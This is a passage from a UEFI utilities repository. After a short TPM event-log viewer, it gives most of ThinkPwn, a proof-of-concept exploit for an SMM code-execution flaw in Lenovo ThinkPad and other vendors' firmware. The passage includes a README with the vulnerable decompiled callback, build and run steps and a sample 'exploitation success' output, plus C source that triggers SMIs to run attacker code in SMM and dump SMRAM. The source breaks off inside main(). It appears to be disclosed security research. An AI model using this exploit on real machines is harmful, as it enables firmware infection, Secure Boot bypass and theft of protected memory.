locate EFI_TREE_PROTOCOL [%d]\n", Status); 163 | return Status; 164 | } 165 | 166 | Status = TreeProtocol->GetEventLog( TreeProtocol, 167 | TREE_EVENT_LOG_FORMAT_TCG_1_2, 168 | &LogLocation, 169 | &LogLastEntry, 170 | &LogTruncated ); 171 | if (EFI_ERROR (Status)) { 172 | Print(L"ERROR: TreeProtocol GetEventLog [%d]\n", Status); 173 | return Status; 174 | } 175 | 176 | LogAddress = LogLocation; 177 | if (LogLocation != LogLastEntry) { 178 | do { 179 | Event = (TCG_PCR_EVENT *) LogAddress; 180 | PrintLog(Event, Verbose); 181 | LogAddress += sizeof(TCG_PCR_EVENT_HDR) + Event->EventSize; 182 | } while (LogAddress != LogLastEntry); 183 | } 184 | PrintLog((TCG_PCR_EVENT *)LogAddress, Verbose); 185 | 186 | return Status; 187 | } 188 | -------------------------------------------------------------------------------- /MyApps/ShowTrEELog/ShowTrEELog.inf: -------------------------------------------------------------------------------- 1 | [Defines] 2 | INF_VERSION = 0x00010006 3 | BASE_NAME = ShowTrEELog 4 | FILE_GUID = 4ea87c51-7395-4ccd-0355-747010f3ce51 5 | MODULE_TYPE = UEFI_APPLICATION 6 | VERSION_STRING = 0.1 7 | ENTRY_POINT = ShellCEntryLib 8 | VALID_ARCHITECTURES = X64 9 | 10 | [Sources] 11 | ShowTrEELog.c 12 | 13 | [Packages] 14 | MdePkg/MdePkg.dec 15 | ShellPkg/ShellPkg.dec 16 | 17 | [LibraryClasses] 18 | ShellCEntryLib 19 | ShellLib 20 | BaseLib 21 | BaseMemoryLib 22 | UefiLib 23 | 24 | [Protocols] 25 | gEfiTrEEProtocolGuid ## CONSUMES 26 | 27 | [BuildOptions] 28 | 29 | [Pcd] 30 | 31 | -------------------------------------------------------------------------------- /MyApps/ThinkPwn/AppPkg.dsc: -------------------------------------------------------------------------------- 1 | ## @file 2 | # Intel(r) UEFI Application Development Kit for EDK II. 3 | # This package contains applications which depend upon Standard Libraries 4 | # from the StdLib package. 5 | # 6 | # See the comments in the [LibraryClasses.IA32] and [BuildOptions] sections 7 | # for important information about configuring this package for your 8 | # environment. 9 | # 10 | # Copyright (c) 2010 - 2014, Intel Corporation. All rights reserved.
11 | # This program and the accompanying materials 12 | # are licensed and made available under the terms and conditions of the BSD License 13 | # which accompanies this distribution. The full text of the license may be found at 14 | # http://opensource.org/licenses/bsd-license. 15 | # 16 | # THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, 17 | # WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. 18 | ## 19 | 20 | [Defines] 21 | PLATFORM_NAME = AppPkg 22 | PLATFORM_GUID = 0458dade-8b6e-4e45-b773-1b27cbda3e06 23 | PLATFORM_VERSION = 0.01 24 | DSC_SPECIFICATION = 0x00010006 25 | OUTPUT_DIRECTORY = Build/AppPkg 26 | SUPPORTED_ARCHITECTURES = IA32|X64|ARM|AARCH64 27 | BUILD_TARGETS = DEBUG|RELEASE|NOOPT 28 | SKUID_IDENTIFIER = DEFAULT 29 | 30 | # 31 | # Debug output control 32 | # 33 | DEFINE DEBUG_ENABLE_OUTPUT = FALSE # Set to TRUE to enable debug output 34 | DEFINE DEBUG_PRINT_ERROR_LEVEL = 0x80000040 # Flags to control amount of debug output 35 | DEFINE DEBUG_PROPERTY_MASK = 0 36 | 37 | [PcdsFeatureFlag] 38 | 39 | [PcdsFixedAtBuild] 40 | gEfiMdePkgTokenSpaceGuid.PcdDebugPropertyMask|$(DEBUG_PROPERTY_MASK) 41 | gEfiMdePkgTokenSpaceGuid.PcdDebugPrintErrorLevel|$(DEBUG_PRINT_ERROR_LEVEL) 42 | 43 | [PcdsFixedAtBuild.IPF] 44 | 45 | [LibraryClasses] 46 | # 47 | # Entry Point Libraries 48 | # 49 | UefiApplicationEntryPoint|MdePkg/Library/UefiApplicationEntryPoint/UefiApplicationEntryPoint.inf 50 | ShellCEntryLib|ShellPkg/Library/UefiShellCEntryLib/UefiShellCEntryLib.inf 51 | UefiDriverEntryPoint|MdePkg/Library/UefiDriverEntryPoint/UefiDriverEntryPoint.inf 52 | # 53 | # Common Libraries 54 | # 55 | BaseLib|MdePkg/Library/BaseLib/BaseLib.inf 56 | BaseMemoryLib|MdePkg/Library/BaseMemoryLib/BaseMemoryLib.inf 57 | UefiLib|MdePkg/Library/UefiLib/UefiLib.inf 58 | PrintLib|MdePkg/Library/BasePrintLib/BasePrintLib.inf 59 | PcdLib|MdePkg/Library/BasePcdLibNull/BasePcdLibNull.inf 60 | MemoryAllocationLib|MdePkg/Library/UefiMemoryAllocationLib/UefiMemoryAllocationLib.inf 61 | UefiBootServicesTableLib|MdePkg/Library/UefiBootServicesTableLib/UefiBootServicesTableLib.inf 62 | UefiRuntimeServicesTableLib|MdePkg/Library/UefiRuntimeServicesTableLib/UefiRuntimeServicesTableLib.inf 63 | !if $(DEBUG_ENABLE_OUTPUT) 64 | DebugLib|MdePkg/Library/UefiDebugLibConOut/UefiDebugLibConOut.inf 65 | DebugPrintErrorLevelLib|MdePkg/Library/BaseDebugPrintErrorLevelLib/BaseDebugPrintErrorLevelLib.inf 66 | !else ## DEBUG_ENABLE_OUTPUT 67 | DebugLib|MdePkg/Library/BaseDebugLibNull/BaseDebugLibNull.inf 68 | !endif ## DEBUG_ENABLE_OUTPUT 69 | 70 | DevicePathLib|MdePkg/Library/UefiDevicePathLib/UefiDevicePathLib.inf 71 | PeCoffGetEntryPointLib|MdePkg/Library/BasePeCoffGetEntryPointLib/BasePeCoffGetEntryPointLib.inf 72 | IoLib|MdePkg/Library/BaseIoLibIntrinsic/BaseIoLibIntrinsic.inf 73 | PciLib|MdePkg/Library/BasePciLibCf8/BasePciLibCf8.inf 74 | PciCf8Lib|MdePkg/Library/BasePciCf8Lib/BasePciCf8Lib.inf 75 | SynchronizationLib|MdePkg/Library/BaseSynchronizationLib/BaseSynchronizationLib.inf 76 | UefiRuntimeLib|MdePkg/Library/UefiRuntimeLib/UefiRuntimeLib.inf 77 | HiiLib|MdeModulePkg/Library/UefiHiiLib/UefiHiiLib.inf 78 | UefiHiiServicesLib|MdeModulePkg/Library/UefiHiiServicesLib/UefiHiiServicesLib.inf 79 | PerformanceLib|MdeModulePkg/Library/DxePerformanceLib/DxePerformanceLib.inf 80 | HobLib|MdePkg/Library/DxeHobLib/DxeHobLib.inf 81 | FileHandleLib|MdePkg/Library/UefiFileHandleLib/UefiFileHandleLib.inf 82 | SortLib|MdeModulePkg/Library/UefiSortLib/UefiSortLib.inf 83 | 84 | ShellLib|ShellPkg/Library/UefiShellLib/UefiShellLib.inf 85 | 86 | CacheMaintenanceLib|MdePkg/Library/BaseCacheMaintenanceLib/BaseCacheMaintenanceLib.inf 87 | 88 | ################################################################################################### 89 | # 90 | # Components Section - list of the modules and components that will be processed by compilation 91 | # tools and the EDK II tools to generate PE32/PE32+/Coff image files. 92 | # 93 | # Note: The EDK II DSC file is not used to specify how compiled binary images get placed 94 | # into firmware volume images. This section is just a list of modules to compile from 95 | # source into UEFI-compliant binaries. 96 | # It is the FDF file that contains information on combining binary files into firmware 97 | # volume images, whose concept is beyond UEFI and is described in PI specification. 98 | # Binary modules do not need to be listed in this section, as they should be 99 | # specified in the FDF file. For example: Shell binary (Shell_Full.efi), FAT binary (Fat.efi), 100 | # Logo (Logo.bmp), and etc. 101 | # There may also be modules listed in this section that are not required in the FDF file, 102 | # When a module listed here is excluded from FDF file, then UEFI-compliant binary will be 103 | # generated for it, but the binary will not be put into any firmware volume. 104 | # 105 | ################################################################################################### 106 | 107 | [Components] 108 | 109 | #### Sample Applications. 110 | AppPkg/Applications/Hello/Hello.inf # No LibC includes or functions. 111 | AppPkg/Applications/Main/Main.inf # Simple invocation. No other LibC functions. 112 | AppPkg/Applications/Enquire/Enquire.inf # 113 | AppPkg/Applications/ArithChk/ArithChk.inf # 114 | 115 | #### A simple fuzzer for OrderedCollectionLib, in particular for 116 | #### BaseOrderedCollectionRedBlackTreeLib. 117 | AppPkg/Applications/OrderedCollectionTest/OrderedCollectionTest.inf { 118 | 119 | OrderedCollectionLib|MdePkg/Library/BaseOrderedCollectionRedBlackTreeLib/BaseOrderedCollectionRedBlackTreeLib.inf 120 | DebugLib|MdePkg/Library/UefiDebugLibConOut/UefiDebugLibConOut.inf 121 | DebugPrintErrorLevelLib|MdePkg/Library/BaseDebugPrintErrorLevelLib/BaseDebugPrintErrorLevelLib.inf 122 | 123 | gEfiMdePkgTokenSpaceGuid.PcdValidateOrderedCollection|TRUE 124 | 125 | gEfiMdePkgTokenSpaceGuid.PcdDebugPropertyMask|0x2F 126 | gEfiMdePkgTokenSpaceGuid.PcdDebugPrintErrorLevel|0x80400040 127 | } 128 | 129 | # 130 | # 3-rd party applications 131 | # 132 | Cr4sh/ThinkPwn/ThinkPwn.inf 133 | 134 | #### Un-comment the following line to build Python. 135 | # AppPkg/Applications/Python/PythonCore.inf 136 | 137 | #### Un-comment the following line to build Lua. 138 | # AppPkg/Applications/Lua/Lua.inf 139 | 140 | 141 | ############################################################################## 142 | # 143 | # Specify whether we are running in an emulation environment, or not. 144 | # Define EMULATE if we are, else keep the DEFINE commented out. 145 | # 146 | # DEFINE EMULATE = 1 147 | 148 | ############################################################################## 149 | # 150 | # Include Boilerplate text required for building with the Standard Libraries. 151 | # 152 | ############################################################################## 153 | !include StdLib/StdLib.inc 154 | !include AppPkg/Applications/Sockets/Sockets.inc 155 | -------------------------------------------------------------------------------- /MyApps/ThinkPwn/README.TXT: -------------------------------------------------------------------------------- 1 | 2 | Lenovo ThinkPad System Management Mode arbitrary code execution exploit 3 | 4 | *************************************************************************** 5 | 6 | For more information about this project please read the following article: 7 | 8 | http://blog.cr4.sh/2016/06/exploring-and-exploiting-lenovo.html 9 | 10 | 11 | This code exploits 0day privileges escalation vulnerability (or backdoor?) in SystemSmmRuntimeRt UEFI driver (GUID is 7C79AC8C-5E6C-4E3D-BA6F-C260EE7C172E) of Lenovo firmware. Vulnerability is present in all of the ThinkPad series laptops, the oldest one that I have checked is X220 and the neweset one is T450s (with latest firmware versions available at this moment). Running of arbitrary System Management Mode code allows attacker to disable flash write protection and infect platform firmware, disable Secure Boot, bypass Virtual Secure Mode (Credential Guard, etc.) on Windows 10 Enterprise and do others evil things. 12 | 13 | ########################################## 14 | 15 | UPDATE FROM 30.06.2016: 16 | 17 | Vulnerable code of SystemSmmRuntimeRt UEFI driver was copy-pasted by Lenovo from Intel reference code for 8-series chipsets. This exact code is not available in public but open source firmware of some Intel boards is also sharing it. For example, here you can see SmmRuntimeManagementCallback() function from Intel Quark BSP -- it's exactly the same vulnerable code. 18 | 19 | https://kernel.googlesource.com/pub/scm/linux/kernel/git/jejb/Quark_EDKII/+/master/QuarkSocPkg/QuarkNorthCluster/Smm/Dxe/SmmRuntime/SmmRuntime.c#639 20 | 21 | EDK2 source from public repository never had this vulnerability -- it's version of QuarkSocPkg was heavily modified in comparison with vulnerable one: 22 | 23 | https://github.com/tianocore/edk2/commits/master/QuarkSocPkg 24 | 25 | It means that original vulnerability was fixed by Intel in the middle of 2014. Unfortunately, there was no any public adviosries, so, it's still not clear that Intel or Lenovo actualy knew about it. There's a high possibility that old Intel code with this vulnerability currently present in firmware of other OEM/IBV vendors. 26 | 27 | ########################################## 28 | 29 | UPDATE FROM 01.07.2016: 30 | 31 | Lenovo released advisory for this vulnerability, they claims that vulnerable code written by Intel was received from 3-rd party IBV (Independent BIOS Vendor): 32 | 33 | https://support.lenovo.com/my/en/solutions/LEN-8324 34 | 35 | Now we can say for sure that products from other OEM's also has this vulnerability. 36 | 37 | ########################################## 38 | 39 | UPDATE FROM 02.07.2016: 40 | 41 | One of my followers confirmed that vulnerable code is present in his HP Pavilion laptop: 42 | 43 | https://twitter.com/al3xtjames/status/749063556486791168 44 | 45 | ########################################## 46 | 47 | UPDATE FROM 05.07.2016: 48 | 49 | Alex James found vulnerable code on motherboards from GIGABYTE (Z68-UD3H, Z77X-UD5H, Z87MX-D3H, Z97-D3H and many others): 50 | 51 | https://twitter.com/al3xtjames/status/750163415159582720 52 | https://twitter.com/al3xtjames/status/750183816266940417 53 | 54 | The interesting fact -- vulnerable UEFI driver from their firmwares has different GUID value than HP and Lenovo: A56897A1-A77F-4600-84DB-22B0A801FA9A 55 | 56 | ########################################## 57 | 58 | 59 | Vulnerable SMM callback code: 60 | 61 | EFI_STATUS __fastcall sub_AD3AFA54( 62 | EFI_HANDLE SmmImageHandle, VOID *CommunicationBuffer, UINTN *SourceSize) 63 | { 64 | VOID *v3; // rax@1 65 | VOID *v4; // rbx@1 66 | 67 | // get some structure pointer from EFI_SMM_COMMUNICATE_HEADER.Data 68 | v3 = *(VOID **)(CommunicationBuffer + 0x20); 69 | v4 = CommunicationBuffer; 70 | if (v3) 71 | { 72 | /* 73 | Vulnarability is here: 74 | this code calls some function by address from obtained v3 structure field. 75 | */ 76 | *(v3 + 0x8)(*(VOID **)v3, &dword_AD002290, CommunicationBuffer + 0x18); 77 | 78 | // set zero value to indicate successful operation 79 | *(VOID **)(v4 + 0x20) = 0; 80 | } 81 | 82 | return 0; 83 | } 84 | 85 | 86 | Proof of concept exploit for this vulnerability is designed as UEFI application that runs from UEFI shell. It's also possible to exploit it from runing operating system but you have to implement your own EFI_BASE_PROTOCOL.Communicate() function. 87 | 88 | To build exploit from the source code on Windows with Visual Studio compiler you have to perform the following steps: 89 | 90 | 1. Copy ThinkPwn project directory into the EDK2 source code directory. 91 | 92 | 2. Run Visual Studio 2008 Command Prompt and cd to EDK2 directory. 93 | 94 | 3. Execute Edk2Setup.bat --pull to configure build environment and download required binaries. 95 | 96 | 4. Edit AppPkg/AppPkg.dsc file and add path of ThinkPwn/ThinkPwn.dsc to the end of the [Components] section. 97 | 98 | 5. cd to the ThinkPwn project directory and run build command. 99 | 100 | 6. After compilation resulting PE image file will be created at Build/AppPkg/DEBUG_VS2008x86/X64/ThinkPwn/ThinkPwn/OUTPUT/ThinkPwn.efi 101 | 102 | 103 | To test exploit on your own hardware: 104 | 105 | 1. Prepare FAT32 formatted USB flash drive with ThinkPwn.efi and UEFI Shell (https://github.com/tianocore/tianocore.github.io/wiki/Efi-shell) binaries. 106 | 107 | 2. Boot into the UEFI shell and execute ThinkPwn.efi application. 108 | 109 | 110 | Usage example: 111 | 112 | FS1:\> ThinkPwn.efi 113 | 114 | SMM access protocol is at 0xaa5f8b00 115 | Available SMRAM regions: 116 | * 0xad000000:0xad3fffff 117 | SMM base protocol is at 0xaa989340 118 | Buffer for SMM communicate call is allocated at 0xacbfb018 119 | Obtaining FvFile(7C79AC8C-5E6C-4E3D-BA6F-C260EE7C172E) image handles... 120 | * Handle = 0xa4aee798 121 | Communicate() returned status 0x0000000e, data size is 0x1000 122 | * Handle = 0xa4aee298 123 | Communicate() returned status 0x00000000, data size is 0x1000 124 | SmmHandler() was executed, exploitation success! 125 | 126 | 127 | Written by: 128 | Dmytro Oleksiuk (aka Cr4sh) 129 | 130 | cr4sh0@gmail.com 131 | http://blog.cr4.sh 132 | -------------------------------------------------------------------------------- /MyApps/ThinkPwn/ThinkPwn.efi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fpmurphy/UEFI-Utilities-2016/71ce611753c2960e5e7ceb5cc23a5faaa95fbf9f/MyApps/ThinkPwn/ThinkPwn.efi -------------------------------------------------------------------------------- /MyApps/ThinkPwn/ThinkPwn.inf: -------------------------------------------------------------------------------- 1 | [defines] 2 | INF_VERSION = 0x00010006 3 | BASE_NAME = ThinkPwn 4 | FILE_GUID = 22D5AE41-147E-4C44-AE72-ECD9BBB455C2 5 | MODULE_TYPE = UEFI_APPLICATION 6 | ENTRY_POINT = ShellCEntryLib 7 | 8 | [Sources] 9 | src/hexdump.c 10 | src/ThinkPwn.c 11 | 12 | [Packages] 13 | AppPkg/AppPkg.dec 14 | MdePkg/MdePkg.dec 15 | MdeModulePkg/MdeModulePkg.dec 16 | IntelFrameworkPkg/IntelFrameworkPkg.dec 17 | IntelFrameworkModulePkg/IntelFrameworkModulePkg.dec 18 | StdLib/StdLib.dec 19 | ShellPkg/ShellPkg.dec 20 | 21 | [LibraryClasses] 22 | UefiBootServicesTableLib 23 | DebugLib 24 | DevicePathLib 25 | UefiLib 26 | LibC 27 | LibStdio 28 | ShellCEntryLib 29 | 30 | [Protocols] 31 | gEfiSmmBaseProtocolGuid 32 | gEfiSmmAccessProtocolGuid 33 | gEfiLoadedImageProtocolGuid 34 | gEfiSimpleFileSystemProtocolGuid 35 | 36 | [Depex] 37 | TRUE 38 | -------------------------------------------------------------------------------- /MyApps/ThinkPwn/ThinkPwn.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fpmurphy/UEFI-Utilities-2016/71ce611753c2960e5e7ceb5cc23a5faaa95fbf9f/MyApps/ThinkPwn/ThinkPwn.pdb -------------------------------------------------------------------------------- /MyApps/ThinkPwn/src/ThinkPwn.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | #include 24 | 25 | #include "hexdump.h" 26 | 27 | // image name for SystemSmmRuntimeRt UEFI driver 28 | #define IMAGE_NAME L"FvFile(7C79AC8C-5E6C-4E3D-BA6F-C260EE7C172E)" 29 | 30 | // SMM communication data size 31 | #define BUFF_SIZE 0x1000 32 | 33 | #define MAX_SMRAM_REGIONS 2 34 | #define MAX_HANDLES 0x10 35 | #define MAX_PATH 0x200 36 | 37 | /* 38 | Callback function of SystemSmmRuntimeRt that runs in SMM, a2 argument has 39 | attacker controlled value: 40 | 41 | __int64 __fastcall sub_A54(__int64 a1, __int64 a2) 42 | { 43 | __int64 v2; // rax@1 44 | __int64 v3; // rbx@1 45 | 46 | v2 = *(_QWORD *)(a2 + 0x20); 47 | v3 = a2; 48 | if ( v2 ) 49 | { 50 | (v2 + 8)(*(_QWORD *)v2, &dword_AD002290, a2 + 0x18); 51 | *(_QWORD *)(v3 + 0x20) = 0i64; 52 | } 53 | return 0i64; 54 | } 55 | */ 56 | typedef VOID (* EXPLOIT_HANDLER)(VOID *Context, VOID *Unknown, VOID *Data); 57 | 58 | typedef struct 59 | { 60 | VOID *Context; 61 | EXPLOIT_HANDLER Handler; 62 | 63 | } STRUCT_1; 64 | 65 | UINTN g_SmmHandlerExecuted = 0; 66 | EFI_GUID g_SmmCommunicateHeaderGuid[] = SMM_COMMUNICATE_HEADER_GUID; 67 | 68 | UINTN g_DumpSize = 0; 69 | VOID *g_DumpAddr = NULL; 70 | VOID *g_DumpBuff = NULL; 71 | //-------------------------------------------------------------------------------------- 72 | VOID SmmHandler(VOID *Context, VOID *Unknown, VOID *Data) 73 | { 74 | // tell to the caller that SMM code was executed 75 | g_SmmHandlerExecuted += 1; 76 | 77 | if (g_DumpBuff && g_DumpSize > 0) 78 | { 79 | // perform memory dump operation 80 | memcpy(g_DumpBuff, g_DumpAddr, g_DumpSize); 81 | } 82 | } 83 | //-------------------------------------------------------------------------------------- 84 | EFI_STATUS GetImageHandle(CHAR16 *TargetPath, EFI_HANDLE *HandlesList, UINTN *HandlesListLength) 85 | { 86 | EFI_HANDLE *Buffer = NULL; 87 | UINTN BufferSize = 0, HandlesFound = 0, i = 0; 88 | 89 | // determinate handles buffer size 90 | EFI_STATUS Status = gBS->LocateHandle( 91 | ByProtocol, 92 | &gEfiLoadedImageProtocolGuid, 93 | NULL, 94 | &BufferSize, 95 | NULL 96 | ); 97 | if (Status != EFI_BUFFER_TOO_SMALL) 98 | { 99 | printf("LocateHandle() ERROR 0x%.8x\n", Status); 100 | return Status; 101 | } 102 | 103 | // allocate required amount of memory 104 | if ((Status = gBS->AllocatePool(0, BufferSize, (VOID **)&Buffer)) != EFI_SUCCESS) 105 | { 106 | printf("AllocatePool() ERROR 0x%.8x\n", Status); 107 | return Status; 108 | } 109 | 110 | // get image handles list 111 | Status = gBS->LocateHandle( 112 | ByProtocol, 113 | &gEfiLoadedImageProtocolGuid, 114 | NULL, 115 | &BufferSize, 116 | Buffer 117 | ); 118 | if (Status == EFI_SUCCESS) 119 | { 120 | for (i = 0; i < BufferSize / sizeof(EFI_HANDLE); i += 1) 121 | { 122 | EFI_LOADED_IMAGE *LoadedImage = NULL; 123 | 124 | // get loaded image protocol instance for given image handle 125 | if (gBS->HandleProtocol( 126 | Buffer[i], 127 | &gEfiLoadedImageProtocolGuid, 128 | (VOID *)&LoadedImage) == EFI_SUCCESS) 129 | { 130 | // get and check image path 131 | CHAR16 *Path = ConvertDevicePathToText(LoadedImage->FilePath, TRUE, TRUE); 132 | if (Path) 133 | { 134 | if (!wcscmp(Path, TargetPath)) 135 | { 136 | if (HandlesFound + 1 < *HandlesListLength) 137 | { 138 | // image handle was found 139 | HandlesList[HandlesFound] = Buffer[i]; 140 | HandlesFound += 1; 141 | } 142 | else 143 | { 144 | // handles list is full 145 | Status = EFI_BUFFER_TOO_SMALL; 146 | } 147 | } 148 | 149 | gBS->FreePool(Path); 150 | 151 | if (Status != EFI_SUCCESS) 152 | { 153 | break; 154 | } 155 | } 156 | } 157 | } 158 | } 159 | else 160 | { 161 | printf("LocateHandle() ERROR 0x%.8x\n", Status); 162 | } 163 | 164 | gBS->FreePool(Buffer); 165 | 166 | if (Status == EFI_SUCCESS) 167 | { 168 | *HandlesListLength = HandlesFound; 169 | } 170 | 171 | return Status; 172 | } 173 | //-------------------------------------------------------------------------------------- 174 | VOID FireSynchronousSmi(UINT8 Handler, UINT8 Data) 175 | { 176 | // fire SMI using APMC I/O port 177 | __outbyte(0xb3, Data); 178 | __outbyte(0xb2, Handler); 179 | } 180 | //-------------------------------------------------------------------------------------- 181 | /* 182 | EFI_SMM_BASE_PROTOCOL->Communicate() saves SMM callback arguments at EFI_SMM_BASE_PROTOCOL + 0x40: 183 | 184 | aa9a93a0: 84 2a 00 ad 00 00 00 00 0e 00 00 00 00 00 00 80 | .*.............. 185 | aa9a93b0: 60 93 9a aa 00 00 00 00 98 8c ac a4 00 00 00 00 | `............... 186 | aa9a93c0: 18 a0 88 ab 00 00 00 00 60 9c 19 a1 00 00 00 00 | ........`....... 187 | */ 188 | typedef struct 189 | { 190 | /* struct addr is EFI_SMM_BASE_PROTOCOL + 0x58 */ 191 | 192 | EFI_HANDLE CallbackHandle; 193 | VOID *Data; 194 | UINTN *DataSize; 195 | 196 | } COMMUNICATE_STRUCT; 197 | 198 | /* 199 | SmmBaseRuntime code that initializes SW SMI number used in EFI_SMM_BASE_PROTOCOL->Communicate(): 200 | 201 | int sub_1140() 202 | { 203 | int result; // eax@1 204 | __int64 v1; // [sp+30h] [bp+8h]@1 205 | 206 | v1 = 0i64; 207 | result = gBS->LocateProtocol(qword_460, 0i64, &v1); 208 | byte_39D8 = *(_BYTE *)(*(_QWORD *)(v1 + 8) + 9i64); // SW SMI number value 209 | return result; 210 | } 211 | */ 212 | #define COMMUNICATE_GUID { 0x1279E288, 0x24CD, 0x47E9, 0x96, 0xBA, 0xD7, 0xA3, 0x8C, 0x17, 0xBD, 0x64 } 213 | 214 | /* 215 | This function is doing exact the same as EFI_SMM_BASE_PROTOCOL->Communicate(), 216 | currently it presents here just for reference. 217 | */ 218 | EFI_STATUS Communicate(EFI_SMM_BASE_PROTOCOL *SmmBase, EFI_HANDLE CallbackHandle, VOID *Data, UINTN *DataSize) 219 | { 220 | UINT8 SmiNum = 0; 221 | VOID *Proto = NULL; 222 | EFI_GUID Guid[] = COMMUNICATE_GUID; 223 | 224 | // locate OEM specific protocol 225 | EFI_STATUS Status = gBS->LocateProtocol(Guid, NULL, &Proto); 226 | if (Status == EFI_SUCCESS) 227 | { 228 | // global structure that used in EFI_SMM_BASE_PROTOCOL->Communicate() 229 | COMMUNICATE_STRUCT *Comm = 230 | (COMMUNICATE_STRUCT *)((UINT8 *)SmmBase + sizeof(EFI_SMM_BASE_PROTOCOL) + 0x18); 231 | 232 | printf(" SMM callback arguments are located at 0x%llx, SW SMI = %d\n", Comm, SmiNum); 233 | 234 | // save asynchronous SMM callback arguments 235 | Comm->CallbackHandle = CallbackHandle; 236 | Comm->Data = Data; 237 | Comm->DataSize = DataSize; 238 | 239 | // get SW SMI number 240 | SmiNum = *(UINT8 *)(*(UINT8 **)((UINT8 *)Proto + 0x08) + 0x09); 241 | 242 | FireSynchronousSmi(SmiNum, 1); 243 | } 244 | 245 | return EFI_SUCCESS; 246 | } 247 | //-------------------------------------------------------------------------------------- 248 | EFI_STATUS SystemSmmRuntimeRt_Exploit(EXPLOIT_HANDLER Handler) 249 | { 250 | EFI_STATUS Status = EFI_SUCCESS; 251 | EFI_SMM_BASE_PROTOCOL *SmmBase = NULL; 252 | 253 | STRUCT_1 Struct; 254 | UINTN DataSize = BUFF_SIZE, i = 0; 255 | EFI_SMM_COMMUNICATE_HEADER *Data = NULL; 256 | 257 | EFI_HANDLE HandlesList[MAX_HANDLES]; 258 | UINTN HandlesListLength = MAX_HANDLES; 259 | 260 | memset(HandlesList, 0, sizeof(HandlesList)); 261 | g_SmmHandlerExecuted = 0; 262 | 263 | // locate SMM base protocol 264 | if ((Status = gBS->LocateProtocol(&gEfiSmmBaseProtocolGuid, NULL, &SmmBase)) != EFI_SUCCESS) 265 | { 266 | printf("ERROR: Unable to locate SMM base protocol: 0x%.8x\n", Status); 267 | goto _end; 268 | } 269 | 270 | printf("SMM base protocol is at 0x%llx\n", SmmBase); 271 | 272 | // allocate memory for SMM communication data 273 | if ((Status = gBS->AllocatePool(0, DataSize, (VOID **)&Data)) != EFI_SUCCESS) 274 | { 275 | printf("AllocatePool() ERROR 0x%.8x\n", Status); 276 | goto _end; 277 | } 278 | 279 | printf("Buffer for SMM communicate call is allocated at 0x%llx\n", Data); 280 | printf("Obtaining %S image handles...\n", IMAGE_NAME); 281 | 282 | /* 283 | Obtain image handle, SystemSmmRuntimeRt UEFI driver registers sub_A54() as 284 | SMM callback using EFI_HANDLE of it's own image that was passed to driver entry. 285 | We can determinate this handle value using LocateHandle() function of 286 | EFI_BOOT_SERVICES. 287 | */ 288 | if (GetImageHandle(IMAGE_NAME, HandlesList, &HandlesListLength) == EFI_SUCCESS) 289 | { 290 | if (HandlesListLength > 0) 291 | { 292 | // enumerate all image handles that was found 293 | for (i = 0; i < HandlesListLength; i += 1) 294 | { 295 | EFI_HANDLE ImageHandle = HandlesList[i]; 296 | 297 | printf(" * Handle = 0x%llx\n", ImageHandle); 298 | 299 | DataSize = BUFF_SIZE; 300 | 301 | // set up data header 302 | memset(Data, 0, DataSize); 303 | memcpy(&Data->HeaderGuid, g_SmmCommunicateHeaderGuid, sizeof(EFI_GUID)); 304 | Data->MessageLength = DataSize - sizeof(EFI_SMM_COMMUNICATE_HEADER); 305 | 306 | // set up data body 307 | Struct.Context = NULL; 308 | Struct.Handler = Handler; 309 | *(VOID **)((UINT8 *)Data + 0x20) = (VOID *)&Struct; 310 | 311 | // queue SMM communication call 312 | Status = SmmBase->Communicate(SmmBase, ImageHandle, Data, &DataSize); 313 | 314 | // fire any synchronous SMI to process pending SMM calls and execute arbitrary code 315 | FireSynchronousSmi(0, 0); 316 | 317 | printf( 318 | " Communicate() returned status 0x%.8x, data size is 0x%x\n", 319 | Status, DataSize 320 | ); 321 | 322 | if (g_SmmHandlerExecuted > 0) 323 | { 324 | break; 325 | } 326 | } 327 | 328 | if (g_SmmHandlerExecuted > 0) 329 | { 330 | printf("SmmHandler() was executed, exploitation success!\n"); 331 | 332 | Status = EFI_SUCCESS; 333 | } 334 | else 335 | { 336 | printf("ERROR: Exploitation fails\n"); 337 | } 338 | } 339 | else 340 | { 341 | printf("ERROR: Image handles was not found\n"); 342 | } 343 | } 344 | 345 | _end: 346 | 347 | if (Data) 348 | { 349 | gBS->FreePool(Data); 350 | } 351 | 352 | return Status; 353 | } 354 | //-------------------------------------------------------------------------------------- 355 | EFI_STATUS WriteFile(EFI_HANDLE ImageHandle, char *FilePath, VOID *Data, UINTN *DataSize) 356 | { 357 | EFI_STATUS Status = EFI_SUCCESS; 358 | EFI_HANDLE FileHandle = NULL; 359 | CHAR16 Path[MAX_PATH]; 360 | 361 | // convert file name to UTF-16 encoding 362 | AsciiStrToUnicodeStr(FilePath, Path); 363 | 364 | // create a new file 365 | if ((Status = ShellOpenFileByName( 366 | Path, &FileHandle, 367 | EFI_FILE_MODE_READ | EFI_FILE_MODE_WRITE | EFI_FILE_MODE_CREATE, 0)) == EFI_SUCCESS) 368 | { 369 | // write file contents 370 | if ((Status = ShellWriteFile(FileHandle, DataSize, Data)) == EFI_SUCCESS) 371 | { 372 | printf("%d bytes written into the %S\n", *DataSize, Path); 373 | } 374 | else 375 | { 376 | printf("ShellWriteFile() ERROR 0x%x\n", Status); 377 | } 378 | } 379 | else 380 | { 381 | printf("ShellOpenFileByName() ERROR 0x%x\n", Status); 382 | } 383 | 384 | return Status; 385 | } 386 | //-------------------------------------------------------------------------------------- 387 | int main(int Argc, char **Argv) 388 | { 389 | int Ret = -1; 390 | char *lpszOutPath = NULL; 391 | EFI_STATUS Status = EFI_SUCCESS; 392 | EFI_SMM_ACCESS_PROTOCOL *SmmAccess = NULL; 393 | 394 | EFI_SMRAM_DESCRIPTOR SmramMap[MAX_SMRAM_REGIONS]; 395 | UINTN SmramMapSize = sizeof(SmramMap), i = 0; 396 | 397 | if (Argc >= 2) 398 | { 399 | if ((g_DumpAddr = (VOID *)strtoull(Argv[1], NULL, 16)) == 0 && errno == EINVAL) 400 | { 401 | printf("strtoull() ERROR %d\n", errno); 402 | return errno; 403 | } 